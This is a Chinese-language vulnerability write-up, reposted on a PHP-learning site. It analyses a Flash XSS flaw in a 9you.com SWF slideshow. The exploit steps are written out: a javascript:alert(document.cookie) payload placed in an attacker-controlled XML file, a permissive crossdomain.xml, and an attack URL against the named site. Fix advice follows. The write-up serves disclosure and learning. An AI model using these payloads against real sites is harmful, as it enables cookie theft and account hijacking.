网站地图    收藏   

主页 > 后端 > 网站安全 >

久游网FLASH安全问题深入分析与利用(一) - 网站安

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] getURL安全问题.案例:lh.9you.com/web_v3/bcastr.swf?bcastr_xml_url=xml/bcastr.xml这类型调用方式, 调用的外部配置或数据文件后缀,如: xml等Flash的actionscript脚本目前网络上存在2种版本,即2.0与3.0函数...

getURL安全问题.


案例:
 
lh.9you.com/web_v3/bcastr.swf?bcastr_xml_url=xml/bcastr.xml
 
这类型调用方式, 调用的外部配置或数据文件后缀,如: xml等
 
Flash的actionscript脚本目前网络上存在2种版本,即2.0与3.0
 
函数A内容如下:
 
//as3.0版本
navigateToURL(new URLRequest(参数), "_self");
 
//as2.0版本
getURL(参数,"_self");
 
案例是2.0版本的.
 
其中参数就是被打开的链接。
 
如果参数是 "javascript:alert(1)"
 
那么就可以执行JS代码了。这里的点击执行代码的效果类似于网页里的
 
 
<a href="javascript:alert(1)">点我弹出1</a>
 
我们先看看xml配置文件中的信息:
 
 
 
item_url 为显示的图片地址
link 点击图片的跳转的参数;此为上面所讲的可控参数.
 
 
逆向看看这个swf:
 
 
getURL(bcastr_link_array[this.id], "_blank");
 
找到类似代码,我们看变量名字可以看出bcastr_link_array因该是link标签的数组,跟踪下bcastr_link_array.
 
 
bcastr_link_array = new Array();
.............................
 while (i < item_total_num) 
        {
            bcastr_flie_array.push(bcastr_xml.firstChild.childNodes[i].attributes.item_url);
            bcastr_title_array.push(bcastr_xml.firstChild.childNodes[i].attributes.itemtitle);
            bcastr_link_array.push(bcastr_xml.firstChild.childNodes[i].attributes.link);
            ++i;
        }
 
证明了我们的猜想,数组循环赋值.
 


漏洞利用:
 
将link标签地址转换为我们的攻击代码,如
javascript:alert(document.cookie);
 
跨域操作.
在我们自己网站的根目录下,放置一个 crossdomain.xml
 
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="网站" />
</cross-domain-policy>
 
本例子中网站->改为:*.9you.com(匹配任意的9you.com子域名)
 
最后的攻击连接:
 
http://lh.9you.com/web_v3/bcastr.swf?bcastr_xml_url=http://127.0.0.1:8080/bcastr.xml
 
 
http://127.0.0.1:8080/bcastr.xml为我搭建的环境.
 
 
 
 
好了点击下里面的图片.
 
 


 
修复方案:

对XML中传入的link url进行正则判断
或者
限制加载第三方网站的XML文件 
 
贵站排查好这类型的swf文件,我就不刷分了哈哈.
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论